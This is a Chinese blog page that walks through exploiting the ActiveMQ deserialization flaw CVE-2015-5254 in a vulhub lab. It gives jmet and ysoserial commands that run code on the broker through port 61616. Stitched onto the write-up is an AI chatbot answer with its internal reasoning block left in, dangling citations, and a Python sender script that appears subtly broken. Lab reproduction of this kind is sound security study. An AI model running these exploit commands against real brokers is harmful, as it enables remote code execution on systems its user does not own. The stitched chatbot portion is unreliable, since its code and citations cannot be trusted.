ActiveMQ 反序列化漏洞 (CVE-2015-5254)漏洞复现

当前漏洞环境部署在vulhub,当前验证环境为vulhub靶场(所有实验均为虚拟环境)
实验环境:攻击机----kali
靶机:centos7
需要的jar包:jmet-0.1.0-all.jar
1、启动docker,进入vulhub(靶机)
在这里插入图片描述
2、进入CVE-2015-5254环境(靶机)
在这里插入图片描述
3、启动环境(靶机)
在这里插入图片描述
4、查看进程(靶机)
在这里插入图片描述
5、下载jmet-0.1.0-all.jar(时间较长):https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar(攻击机)
在这里插入图片描述
6、执行java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/sucess” -Yp ROME 你的IP 61616(攻击机)
在这里插入图片描述在这里插入图片描述
7、访问控制台:http://你的IP:8161/admin/browse.jsp?JMSDestination=event
触发
在这里插入图片描述
8、进入容器,docker exec -it cve-2015-5254_activemq_1 /bin/bash(靶机)
success 已成功创建,表明漏洞利用成功:
在这里插入图片描述

<think>嗯,用户想要了解ActiveMQ反序列化漏洞CVE-2015-5254的详细信息。根据提供的引用资料,这个漏洞主要影响5.13.0之前的ActiveMQ版本,核心问题是程序未对可序列化的类做限制。 用户是信息安全从业者或学习者,正在研究具体漏洞案例。从ta明确要求原理、影响和修复方案来看,可能需要用于实际漏洞分析或修复工作。引用中已经包含版本范围(5.13.0之前)、漏洞触发点(JMS ObjectMessage对象)、危害(远程代码执行)等关键信息。 需要补充的是漏洞技术原理细节:反序列化漏洞本质上是因为Java反序列化机制会执行特定方法的特性,攻击者通过构造恶意序列化数据,在ObjectMessage反序列化时触发恶意逻辑。引用[1]和[3]提到的"特制序列化对象"就是指包含恶意代码的gadget chains。 修复方案方面除了升级版本,还应强调临时缓解措施,比如配置ActiveMQ的org.apache.activemq.SERIALIZABLE_PACKAGES白名单。这点在现有引用中未提及但很重要。 相关问题的设计要覆盖漏洞利用链(ysoserial工具)、检测方法和企业级防护方案,这样既能满足深度研究需求,又具有实操价值。特别要注意提醒用户复现漏洞必须在内网环境,避免法律风险。 最后检查所有漏洞版本描述是否一致:引用[1][3]明确是5.13.0之前,引用[2]的5.11.1在范围内,说明准确。 </think>以下是关于 **ActiveMQ反序列化漏洞CVE-2015-5254)** 的完整技术分析,结合漏洞原理、影响范围、修复方案及复现细节: --- ### **漏洞原理** 1. **根本原因** Apache ActiveMQ **5.13.0之前**的5.x版本未对代理中传输的序列化类进行限制(`org.apache.activemq.SERIALIZABLE_PACKAGES` 配置未启用严格过滤)。攻击者可构造恶意的序列化 `ObjectMessage` 对象,通过JMS(Java消息服务)发送至ActiveMQ服务器。 - **触发点**:当ActiveMQ反序列化恶意对象时,会执行其中嵌入的任意代码(如利用Java反序列化漏洞链,常见于`commons-collections`等库)[^1][^3][^4]。 2. **攻击路径** ```mermaid graph LR A[攻击者构造恶意ObjectMessage] --> B[通过61616端口/TCP发送至ActiveMQ] B --> C[ActiveMQ反序列化对象] C --> D[恶意代码在服务器执行] ``` --- ### **影响范围** | **项目** | **详情** | |------------------|--------------------------------------------------------------------------| | **受影响版本** | Apache ActiveMQ **5.0.0 - 5.12.3** | | **不受影响版本** | Apache ActiveMQ **≥5.13.0**(修复版本) | | **漏洞验证** | 登录管理后台(默认`http://<IP>:8161/admin`,账号`admin/admin`),检查版本号[^2]。 | --- ### **漏洞复现关键步骤** 1. **环境搭建** - 启动漏洞环境:`docker run -p 61616:61616 -p 8161:8161 rmohr/activemq:5.11.1` 2. **生成攻击载荷** 使用 `ysoserial` 工具生成恶意序列化对象(示例): ```bash java -jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE-2015-5254" > payload.ser ``` 3. **发送恶意对象** 通过Python脚本将 `payload.ser` 作为 `ObjectMessage` 发送至ActiveMQ的 **61616/TCP** 端口: ```python import socket with open('payload.ser', 'rb') as f: data = f.read() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.83.136', 61616)) sock.send(data) # 触发漏洞 ``` --- ### **修复方案** 1. **立即升级** 升级ActiveMQ至 **5.13.0或更高版本**(官方已修复此问题)。 2. **临时缓解措施** 在 `activemq.xml` 配置文件中限制可序列化的包路径: ```xml <broker ...> <transportConnectors> <transportConnector name="openwire" uri="tcp://0.0.0.0:61616?serializablePackages=java.lang,java.util,org.apache.activemq,org.fusesource.mqtt.client" /> </transportConnectors> </broker> ``` 3. **加固建议** - 禁用默认密码,修改管理后台凭证。 - 限制61616端口的访问来源(仅允许可信IP)[^1][^4]。 --- ### **漏洞危害** - **最高风险**:远程攻击者可在目标服务器上 **执行任意代码**(RCE),获取系统控制权。 - **利用场景**:内网渗透、供应链攻击(通过消息队列传播恶意载荷)[^3][^4]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值